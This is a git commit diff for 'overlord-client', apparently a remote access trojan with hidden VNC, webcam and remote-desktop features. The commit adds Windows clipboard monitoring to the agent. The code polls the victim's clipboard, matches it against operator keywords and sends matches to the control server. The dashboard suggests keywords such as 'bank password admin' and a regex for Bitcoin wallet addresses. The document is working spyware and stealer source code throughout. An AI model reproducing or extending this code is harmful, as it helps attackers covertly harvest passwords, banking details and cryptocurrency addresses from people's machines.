add regex support and clipboard support to notification center
This commit is contained in:
@@ -91,23 +91,6 @@ func Start(ctx context.Context, env *runtime.Env) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func matchKeyword(title string, keywords []string) string {
|
|
||||||
if title == "" {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
lower := strings.ToLower(title)
|
|
||||||
for _, kw := range keywords {
|
|
||||||
k := strings.ToLower(strings.TrimSpace(kw))
|
|
||||||
if k == "" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if strings.Contains(lower, k) {
|
|
||||||
return kw
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func getActiveWindow() (string, uint32) {
|
func getActiveWindow() (string, uint32) {
|
||||||
hwnd := getForegroundWindow()
|
hwnd := getForegroundWindow()
|
||||||
if hwnd == 0 {
|
if hwnd == 0 {
|
||||||
|
|||||||
@@ -0,0 +1,13 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package activewindow
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
)
|
||||||
|
|
||||||
|
func StartClipboard(_ context.Context, _ *runtime.Env) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,127 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package activewindow
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"log"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/wire"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||||
|
procGlobalLock = kernel32.NewProc("GlobalLock")
|
||||||
|
procGlobalUnlock = kernel32.NewProc("GlobalUnlock")
|
||||||
|
|
||||||
|
procOpenClipboard = user32.NewProc("OpenClipboard")
|
||||||
|
procCloseClipboard = user32.NewProc("CloseClipboard")
|
||||||
|
procGetClipboardData = user32.NewProc("GetClipboardData")
|
||||||
|
)
|
||||||
|
|
||||||
|
const cfUnicodeText = 13
|
||||||
|
|
||||||
|
func StartClipboard(ctx context.Context, env *runtime.Env) error {
|
||||||
|
if env == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
log.Printf("clipboard: starting monitor")
|
||||||
|
defer log.Printf("clipboard: stopped")
|
||||||
|
|
||||||
|
ticker := time.NewTicker(2 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
var lastContent string
|
||||||
|
lastSent := make(map[string]int64)
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return nil
|
||||||
|
case <-ticker.C:
|
||||||
|
if !env.GetClipboardEnabled() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
keywords := env.GetNotificationKeywords()
|
||||||
|
if len(keywords) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
minIntervalMs := env.GetNotificationMinIntervalMs()
|
||||||
|
content := readClipboardText()
|
||||||
|
if content == "" || content == lastContent {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lastContent = content
|
||||||
|
match := matchKeyword(content, keywords)
|
||||||
|
if match == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if minIntervalMs > 0 {
|
||||||
|
key := "clipboard:" + strings.ToLower(match)
|
||||||
|
if last, ok := lastSent[key]; ok {
|
||||||
|
if time.Since(time.UnixMilli(last)) < time.Duration(minIntervalMs)*time.Millisecond {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
lastSent[key] = time.Now().UnixMilli()
|
||||||
|
}
|
||||||
|
title := content
|
||||||
|
if len(title) > 300 {
|
||||||
|
title = title[:300]
|
||||||
|
}
|
||||||
|
note := wire.Notification{
|
||||||
|
Type: "notification",
|
||||||
|
Category: "clipboard",
|
||||||
|
Title: title,
|
||||||
|
Keyword: match,
|
||||||
|
TS: time.Now().UnixMilli(),
|
||||||
|
}
|
||||||
|
if err := wire.WriteMsg(ctx, env.Conn, note); err != nil {
|
||||||
|
log.Printf("clipboard: send notification failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func readClipboardText() string {
|
||||||
|
r, _, _ := procOpenClipboard.Call(0)
|
||||||
|
if r == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer procCloseClipboard.Call()
|
||||||
|
h, _, _ := procGetClipboardData.Call(cfUnicodeText)
|
||||||
|
if h == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
ptr, _, _ := procGlobalLock.Call(h)
|
||||||
|
if ptr == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer procGlobalUnlock.Call(h)
|
||||||
|
return utf16PtrFromUintptr(ptr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func utf16PtrFromUintptr(ptr uintptr) string {
|
||||||
|
if ptr == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
n := 0
|
||||||
|
for {
|
||||||
|
v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2))
|
||||||
|
if v == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
n++
|
||||||
|
if n > 1<<20 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n)
|
||||||
|
return windows.UTF16ToString(u16)
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package activewindow
|
||||||
|
|
||||||
|
import (
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func matchKeyword(text string, keywords []string) string {
|
||||||
|
if text == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
lower := strings.ToLower(text)
|
||||||
|
for _, kw := range keywords {
|
||||||
|
trimmed := strings.TrimSpace(kw)
|
||||||
|
if trimmed == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(trimmed, "/") {
|
||||||
|
re, ok := parseRegexKeyword(trimmed)
|
||||||
|
if ok && re.MatchString(text) {
|
||||||
|
return kw
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if strings.Contains(lower, strings.ToLower(trimmed)) {
|
||||||
|
return kw
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseRegexKeyword(kw string) (*regexp.Regexp, bool) {
|
||||||
|
if !strings.HasPrefix(kw, "/") {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
rest := kw[1:]
|
||||||
|
lastSlash := strings.LastIndex(rest, "/")
|
||||||
|
if lastSlash < 0 {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
pattern := rest[:lastSlash]
|
||||||
|
flags := rest[lastSlash+1:]
|
||||||
|
if pattern == "" {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
regexStr := pattern
|
||||||
|
if strings.ContainsRune(flags, 'i') {
|
||||||
|
regexStr = "(?i)" + pattern
|
||||||
|
}
|
||||||
|
re, err := regexp.Compile(regexStr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
return re, true
|
||||||
|
}
|
||||||
@@ -16,6 +16,7 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int
|
|||||||
|
|
||||||
var keywords []string
|
var keywords []string
|
||||||
minInterval := 0
|
minInterval := 0
|
||||||
|
clipboardEnabled := false
|
||||||
|
|
||||||
if raw, ok := envelope["notification"].(map[string]interface{}); ok {
|
if raw, ok := envelope["notification"].(map[string]interface{}); ok {
|
||||||
if rawKeywords, ok := raw["keywords"].([]interface{}); ok {
|
if rawKeywords, ok := raw["keywords"].([]interface{}); ok {
|
||||||
@@ -34,11 +35,14 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int
|
|||||||
if v, ok := raw["minIntervalMs"].(int); ok {
|
if v, ok := raw["minIntervalMs"].(int); ok {
|
||||||
minInterval = v
|
minInterval = v
|
||||||
}
|
}
|
||||||
|
if v, ok := raw["clipboardEnabled"].(bool); ok {
|
||||||
|
clipboardEnabled = v
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(keywords) > 0 || minInterval > 0 {
|
if len(keywords) > 0 || minInterval > 0 {
|
||||||
env.SetNotificationConfig(keywords, minInterval)
|
env.SetNotificationConfig(keywords, minInterval, clipboardEnabled)
|
||||||
log.Printf("hello ack: loaded %d notification keywords", len(keywords))
|
log.Printf("hello ack: loaded %d notification keywords clipboard=%v", len(keywords), clipboardEnabled)
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[
|
|||||||
|
|
||||||
var keywords []string
|
var keywords []string
|
||||||
minInterval := 0
|
minInterval := 0
|
||||||
|
clipboardEnabled := false
|
||||||
|
|
||||||
if raw, ok := envelope["keywords"].([]interface{}); ok {
|
if raw, ok := envelope["keywords"].([]interface{}); ok {
|
||||||
for _, v := range raw {
|
for _, v := range raw {
|
||||||
@@ -32,8 +33,11 @@ func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[
|
|||||||
if v, ok := envelope["minIntervalMs"].(int); ok {
|
if v, ok := envelope["minIntervalMs"].(int); ok {
|
||||||
minInterval = v
|
minInterval = v
|
||||||
}
|
}
|
||||||
|
if v, ok := envelope["clipboardEnabled"].(bool); ok {
|
||||||
|
clipboardEnabled = v
|
||||||
|
}
|
||||||
|
|
||||||
env.SetNotificationConfig(keywords, minInterval)
|
env.SetNotificationConfig(keywords, minInterval, clipboardEnabled)
|
||||||
log.Printf("notification_config: loaded %d keywords", len(keywords))
|
log.Printf("notification_config: loaded %d keywords clipboard=%v", len(keywords), clipboardEnabled)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -46,15 +46,17 @@ type Env struct {
|
|||||||
NotificationMu sync.RWMutex
|
NotificationMu sync.RWMutex
|
||||||
NotificationKeywords []string
|
NotificationKeywords []string
|
||||||
NotificationMinIntervalMs int
|
NotificationMinIntervalMs int
|
||||||
|
NotificationClipboard bool
|
||||||
LastPongUnixMs int64
|
LastPongUnixMs int64
|
||||||
}
|
}
|
||||||
|
|
||||||
func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int) {
|
func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int, clipboardEnabled bool) {
|
||||||
e.NotificationMu.Lock()
|
e.NotificationMu.Lock()
|
||||||
e.NotificationKeywords = keywords
|
e.NotificationKeywords = keywords
|
||||||
if minIntervalMs > 0 {
|
if minIntervalMs > 0 {
|
||||||
e.NotificationMinIntervalMs = minIntervalMs
|
e.NotificationMinIntervalMs = minIntervalMs
|
||||||
}
|
}
|
||||||
|
e.NotificationClipboard = clipboardEnabled
|
||||||
e.NotificationMu.Unlock()
|
e.NotificationMu.Unlock()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -75,6 +77,12 @@ func (e *Env) GetNotificationMinIntervalMs() int {
|
|||||||
return e.NotificationMinIntervalMs
|
return e.NotificationMinIntervalMs
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (e *Env) GetClipboardEnabled() bool {
|
||||||
|
e.NotificationMu.RLock()
|
||||||
|
defer e.NotificationMu.RUnlock()
|
||||||
|
return e.NotificationClipboard
|
||||||
|
}
|
||||||
|
|
||||||
func (e *Env) SetLastPong(tsMillis int64) {
|
func (e *Env) SetLastPong(tsMillis int64) {
|
||||||
if tsMillis <= 0 {
|
if tsMillis <= 0 {
|
||||||
tsMillis = time.Now().UnixMilli()
|
tsMillis = time.Now().UnixMilli()
|
||||||
|
|||||||
@@ -482,6 +482,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
|
goSafe("clipboard", nil, func() {
|
||||||
|
if err := activewindow.StartClipboard(ctx, env); err != nil {
|
||||||
|
log.Printf("clipboard error: %v", err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
return <-readErr
|
return <-readErr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ const notificationScopeHint = document.getElementById("notification-scope-hint")
|
|||||||
// Keyword section
|
// Keyword section
|
||||||
const keywordSection = document.getElementById("keyword-section");
|
const keywordSection = document.getElementById("keyword-section");
|
||||||
const keywordInput = document.getElementById("keyword-input");
|
const keywordInput = document.getElementById("keyword-input");
|
||||||
|
const clipboardEnabledInput = document.getElementById("clipboard-enabled");
|
||||||
const saveKeywordsBtn = document.getElementById("save-keywords");
|
const saveKeywordsBtn = document.getElementById("save-keywords");
|
||||||
const keywordHint = document.getElementById("keyword-hint");
|
const keywordHint = document.getElementById("keyword-hint");
|
||||||
|
|
||||||
@@ -176,6 +177,10 @@ function wireToggle(inputEl, btnEl) {
|
|||||||
// ── Notification table row ────────────────────────────────────────────────────
|
// ── Notification table row ────────────────────────────────────────────────────
|
||||||
function renderRow(item, prepend = true) {
|
function renderRow(item, prepend = true) {
|
||||||
if (!listEl) return;
|
if (!listEl) return;
|
||||||
|
const isClipboard = item.category === "clipboard";
|
||||||
|
const sourceBadge = isClipboard
|
||||||
|
? `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-violet-900/60 text-violet-300 border border-violet-700/50"><i class="fa-solid fa-clipboard text-xs"></i> clipboard</span>`
|
||||||
|
: `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-blue-900/60 text-blue-300 border border-blue-700/50"><i class="fa-solid fa-desktop text-xs"></i> window</span>`;
|
||||||
const row = document.createElement("tr");
|
const row = document.createElement("tr");
|
||||||
row.className = "border-t border-slate-800/60";
|
row.className = "border-t border-slate-800/60";
|
||||||
row.innerHTML = `
|
row.innerHTML = `
|
||||||
@@ -185,6 +190,7 @@ function renderRow(item, prepend = true) {
|
|||||||
<td class="py-2 pr-4 max-w-xl truncate" title="${escapeHtml(item.title || "")}">${escapeHtml(item.title || "-")}</td>
|
<td class="py-2 pr-4 max-w-xl truncate" title="${escapeHtml(item.title || "")}">${escapeHtml(item.title || "-")}</td>
|
||||||
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.process || "-")}</td>
|
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.process || "-")}</td>
|
||||||
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.keyword || "-")}</td>
|
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.keyword || "-")}</td>
|
||||||
|
<td class="py-2 pr-4 whitespace-nowrap">${sourceBadge}</td>
|
||||||
<td class="py-2 pr-4"><div class="preview-slot"></div></td>
|
<td class="py-2 pr-4"><div class="preview-slot"></div></td>
|
||||||
`;
|
`;
|
||||||
|
|
||||||
@@ -283,6 +289,9 @@ async function loadKeywords() {
|
|||||||
const keywords = data?.notifications?.keywords || [];
|
const keywords = data?.notifications?.keywords || [];
|
||||||
keywordInput.value = keywords.join("\n");
|
keywordInput.value = keywords.join("\n");
|
||||||
renderKeywordHint(keywords.length);
|
renderKeywordHint(keywords.length);
|
||||||
|
if (clipboardEnabledInput) {
|
||||||
|
clipboardEnabledInput.checked = data?.notifications?.clipboardEnabled === true;
|
||||||
|
}
|
||||||
} catch {}
|
} catch {}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -290,11 +299,12 @@ function wireKeywordSave() {
|
|||||||
if (!saveKeywordsBtn || !keywordInput) return;
|
if (!saveKeywordsBtn || !keywordInput) return;
|
||||||
saveKeywordsBtn.addEventListener("click", async () => {
|
saveKeywordsBtn.addEventListener("click", async () => {
|
||||||
const keywords = parseKeywords(keywordInput.value);
|
const keywords = parseKeywords(keywordInput.value);
|
||||||
|
const clipboardEnabled = clipboardEnabledInput ? clipboardEnabledInput.checked : false;
|
||||||
try {
|
try {
|
||||||
const res = await fetch("/api/notifications/config", {
|
const res = await fetch("/api/notifications/config", {
|
||||||
method: "PUT",
|
method: "PUT",
|
||||||
headers: { "Content-Type": "application/json" },
|
headers: { "Content-Type": "application/json" },
|
||||||
body: JSON.stringify({ keywords }),
|
body: JSON.stringify({ keywords, clipboardEnabled }),
|
||||||
});
|
});
|
||||||
if (!res.ok) {
|
if (!res.ok) {
|
||||||
window.showToast?.("Failed to save keywords", "error", 4000);
|
window.showToast?.("Failed to save keywords", "error", 4000);
|
||||||
@@ -304,6 +314,9 @@ function wireKeywordSave() {
|
|||||||
const updated = data?.notifications?.keywords || keywords;
|
const updated = data?.notifications?.keywords || keywords;
|
||||||
keywordInput.value = updated.join("\n");
|
keywordInput.value = updated.join("\n");
|
||||||
renderKeywordHint(updated.length);
|
renderKeywordHint(updated.length);
|
||||||
|
if (clipboardEnabledInput && typeof data?.notifications?.clipboardEnabled === "boolean") {
|
||||||
|
clipboardEnabledInput.checked = data.notifications.clipboardEnabled;
|
||||||
|
}
|
||||||
window.showToast?.("Keywords updated", "success", 3000);
|
window.showToast?.("Keywords updated", "success", 3000);
|
||||||
} catch {
|
} catch {
|
||||||
window.showToast?.("Failed to save keywords", "error", 4000);
|
window.showToast?.("Failed to save keywords", "error", 4000);
|
||||||
|
|||||||
@@ -35,7 +35,7 @@
|
|||||||
<div>
|
<div>
|
||||||
<h1 class="text-2xl font-semibold">Notifications</h1>
|
<h1 class="text-2xl font-semibold">Notifications</h1>
|
||||||
<p class="text-slate-400">
|
<p class="text-slate-400">
|
||||||
Active window alerts based on configured title keywords
|
Active window & clipboard alerts based on configured keyword patterns
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<div class="flex flex-wrap items-center gap-3">
|
<div class="flex flex-wrap items-center gap-3">
|
||||||
@@ -55,7 +55,7 @@
|
|||||||
<div>
|
<div>
|
||||||
<h2 class="text-lg font-semibold">Keyword Configuration</h2>
|
<h2 class="text-lg font-semibold">Keyword Configuration</h2>
|
||||||
<p class="text-sm text-slate-400">
|
<p class="text-sm text-slate-400">
|
||||||
One keyword per line. Changes apply to connected agents immediately. (Shared global setting)
|
One keyword per line — plain substring or <code class="text-slate-300">/regex/i</code> syntax. Changes apply to connected agents immediately. (Shared global setting)
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<button
|
<button
|
||||||
@@ -69,9 +69,13 @@
|
|||||||
<textarea
|
<textarea
|
||||||
id="keyword-input"
|
id="keyword-input"
|
||||||
rows="5"
|
rows="5"
|
||||||
placeholder="bank password admin"
|
placeholder="bank password admin /crypto|wallet/i /\b(bc1[a-z0-9]{39,59}|[13][a-km-zA-HJ-NP-Z1-9]{24,33})\b/"
|
||||||
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
|
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
|
||||||
></textarea>
|
></textarea>
|
||||||
|
<label class="mt-3 inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
|
||||||
|
<input id="clipboard-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
|
||||||
|
Monitor clipboard content for keyword matches
|
||||||
|
</label>
|
||||||
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
|
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -267,9 +271,10 @@
|
|||||||
<th class="py-2 pr-4">Time</th>
|
<th class="py-2 pr-4">Time</th>
|
||||||
<th class="py-2 pr-4">Client</th>
|
<th class="py-2 pr-4">Client</th>
|
||||||
<th class="py-2 pr-4">User</th>
|
<th class="py-2 pr-4">User</th>
|
||||||
<th class="py-2 pr-4">Window Title</th>
|
<th class="py-2 pr-4">Title / Content</th>
|
||||||
<th class="py-2 pr-4">Process</th>
|
<th class="py-2 pr-4">Process</th>
|
||||||
<th class="py-2 pr-4">Keyword</th>
|
<th class="py-2 pr-4">Keyword</th>
|
||||||
|
<th class="py-2 pr-4">Source</th>
|
||||||
<th class="py-2 pr-4">Preview</th>
|
<th class="py-2 pr-4">Preview</th>
|
||||||
</tr>
|
</tr>
|
||||||
</thead>
|
</thead>
|
||||||
|
|||||||
@@ -39,6 +39,7 @@ export interface Config {
|
|||||||
telegramEnabled: boolean;
|
telegramEnabled: boolean;
|
||||||
telegramBotToken: string;
|
telegramBotToken: string;
|
||||||
telegramChatId: string;
|
telegramChatId: string;
|
||||||
|
clipboardEnabled: boolean;
|
||||||
};
|
};
|
||||||
security: {
|
security: {
|
||||||
sessionTtlHours: number;
|
sessionTtlHours: number;
|
||||||
@@ -88,6 +89,7 @@ const DEFAULT_CONFIG: Config = {
|
|||||||
telegramEnabled: false,
|
telegramEnabled: false,
|
||||||
telegramBotToken: "",
|
telegramBotToken: "",
|
||||||
telegramChatId: "",
|
telegramChatId: "",
|
||||||
|
clipboardEnabled: false,
|
||||||
},
|
},
|
||||||
security: {
|
security: {
|
||||||
sessionTtlHours: 168,
|
sessionTtlHours: 168,
|
||||||
@@ -366,6 +368,10 @@ export function loadConfig(): Config {
|
|||||||
process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID ||
|
process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID ||
|
||||||
fileConfig.notifications?.telegramChatId ||
|
fileConfig.notifications?.telegramChatId ||
|
||||||
DEFAULT_CONFIG.notifications.telegramChatId,
|
DEFAULT_CONFIG.notifications.telegramChatId,
|
||||||
|
clipboardEnabled:
|
||||||
|
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
|
||||||
|
fileConfig.notifications?.clipboardEnabled ||
|
||||||
|
DEFAULT_CONFIG.notifications.clipboardEnabled,
|
||||||
},
|
},
|
||||||
security: {
|
security: {
|
||||||
sessionTtlHours:
|
sessionTtlHours:
|
||||||
|
|||||||
@@ -35,6 +35,7 @@ export type HelloAck = {
|
|||||||
notification?: {
|
notification?: {
|
||||||
keywords: string[];
|
keywords: string[];
|
||||||
minIntervalMs?: number;
|
minIntervalMs?: number;
|
||||||
|
clipboardEnabled?: boolean;
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
export type Ping = { type: "ping"; ts?: number };
|
export type Ping = { type: "ping"; ts?: number };
|
||||||
@@ -271,6 +272,7 @@ export type NotificationConfig = {
|
|||||||
type: "notification_config";
|
type: "notification_config";
|
||||||
keywords: string[];
|
keywords: string[];
|
||||||
minIntervalMs?: number;
|
minIntervalMs?: number;
|
||||||
|
clipboardEnabled?: boolean;
|
||||||
};
|
};
|
||||||
|
|
||||||
export type WireMessage =
|
export type WireMessage =
|
||||||
|
|||||||
@@ -100,6 +100,35 @@ export async function handleNotificationsConfigRoutes(
|
|||||||
.filter(Boolean)
|
.filter(Boolean)
|
||||||
.slice(0, 200);
|
.slice(0, 200);
|
||||||
|
|
||||||
|
for (const kw of keywords) {
|
||||||
|
if (kw.startsWith("/")) {
|
||||||
|
const lastSlash = kw.lastIndexOf("/", kw.length - 1);
|
||||||
|
if (lastSlash <= 0) {
|
||||||
|
return Response.json(
|
||||||
|
{ error: `Invalid regex keyword (missing closing /): ${kw}` },
|
||||||
|
{ status: 400 },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
const pattern = kw.slice(1, lastSlash);
|
||||||
|
const flags = kw.slice(lastSlash + 1);
|
||||||
|
const invalidFlags = flags.replace(/[gimsuy]/g, "");
|
||||||
|
if (invalidFlags.length > 0) {
|
||||||
|
return Response.json(
|
||||||
|
{ error: `Invalid regex flags '${invalidFlags}' in keyword: ${kw}` },
|
||||||
|
{ status: 400 },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
new RegExp(pattern, flags);
|
||||||
|
} catch (e: any) {
|
||||||
|
return Response.json(
|
||||||
|
{ error: `Invalid regex in keyword '${kw}': ${e?.message ?? e}` },
|
||||||
|
{ status: 400 },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const webhookEnabled =
|
const webhookEnabled =
|
||||||
typeof body?.webhookEnabled === "boolean"
|
typeof body?.webhookEnabled === "boolean"
|
||||||
? body.webhookEnabled
|
? body.webhookEnabled
|
||||||
@@ -120,6 +149,10 @@ export async function handleNotificationsConfigRoutes(
|
|||||||
typeof body?.telegramChatId === "string"
|
typeof body?.telegramChatId === "string"
|
||||||
? body.telegramChatId.trim()
|
? body.telegramChatId.trim()
|
||||||
: currentConfig.telegramChatId || "";
|
: currentConfig.telegramChatId || "";
|
||||||
|
const clipboardEnabled =
|
||||||
|
typeof body?.clipboardEnabled === "boolean"
|
||||||
|
? body.clipboardEnabled
|
||||||
|
: currentConfig.clipboardEnabled || false;
|
||||||
|
|
||||||
if (webhookUrl) {
|
if (webhookUrl) {
|
||||||
try {
|
try {
|
||||||
@@ -142,6 +175,7 @@ export async function handleNotificationsConfigRoutes(
|
|||||||
telegramEnabled,
|
telegramEnabled,
|
||||||
telegramBotToken,
|
telegramBotToken,
|
||||||
telegramChatId,
|
telegramChatId,
|
||||||
|
clipboardEnabled,
|
||||||
});
|
});
|
||||||
|
|
||||||
for (const client of clientManager.getAllClients().values()) {
|
for (const client of clientManager.getAllClients().values()) {
|
||||||
@@ -152,6 +186,7 @@ export async function handleNotificationsConfigRoutes(
|
|||||||
type: "notification_config",
|
type: "notification_config",
|
||||||
keywords: updated.keywords || [],
|
keywords: updated.keywords || [],
|
||||||
minIntervalMs: updated.minIntervalMs || 8000,
|
minIntervalMs: updated.minIntervalMs || 8000,
|
||||||
|
clipboardEnabled: updated.clipboardEnabled || false,
|
||||||
}),
|
}),
|
||||||
);
|
);
|
||||||
} catch {}
|
} catch {}
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ type WsLifecycleDeps = {
|
|||||||
rdStreamingState: Map<string, unknown>;
|
rdStreamingState: Map<string, unknown>;
|
||||||
hvncStreamingState: Map<string, unknown>;
|
hvncStreamingState: Map<string, unknown>;
|
||||||
webcamStreamingState: Map<string, unknown>;
|
webcamStreamingState: Map<string, unknown>;
|
||||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean };
|
||||||
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
@@ -121,6 +121,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
|||||||
notification: {
|
notification: {
|
||||||
keywords: notificationConfig.keywords || [],
|
keywords: notificationConfig.keywords || [],
|
||||||
minIntervalMs: notificationConfig.minIntervalMs || 8000,
|
minIntervalMs: notificationConfig.minIntervalMs || 8000,
|
||||||
|
clipboardEnabled: notificationConfig.clipboardEnabled || false,
|
||||||
},
|
},
|
||||||
}),
|
}),
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ type NotificationRecord = {
|
|||||||
processPath?: string;
|
processPath?: string;
|
||||||
pid?: number;
|
pid?: number;
|
||||||
keyword?: string;
|
keyword?: string;
|
||||||
category: "active_window";
|
category: "active_window" | "clipboard";
|
||||||
ts: number;
|
ts: number;
|
||||||
screenshotId?: string;
|
screenshotId?: string;
|
||||||
};
|
};
|
||||||
@@ -210,7 +210,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
const info = clientManager.getClient(clientId);
|
const info = clientManager.getClient(clientId);
|
||||||
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} title=${title}`);
|
const category: "active_window" | "clipboard" =
|
||||||
|
payload.category === "clipboard" ? "clipboard" : "active_window";
|
||||||
|
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} category=${category} title=${title}`);
|
||||||
const record: NotificationRecord = {
|
const record: NotificationRecord = {
|
||||||
id: uuidv4(),
|
id: uuidv4(),
|
||||||
clientId,
|
clientId,
|
||||||
@@ -222,7 +224,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
|||||||
processPath: typeof payload.processPath === "string" ? payload.processPath : "",
|
processPath: typeof payload.processPath === "string" ? payload.processPath : "",
|
||||||
pid: Number(payload.pid) || undefined,
|
pid: Number(payload.pid) || undefined,
|
||||||
keyword,
|
keyword,
|
||||||
category: "active_window",
|
category,
|
||||||
ts,
|
ts,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user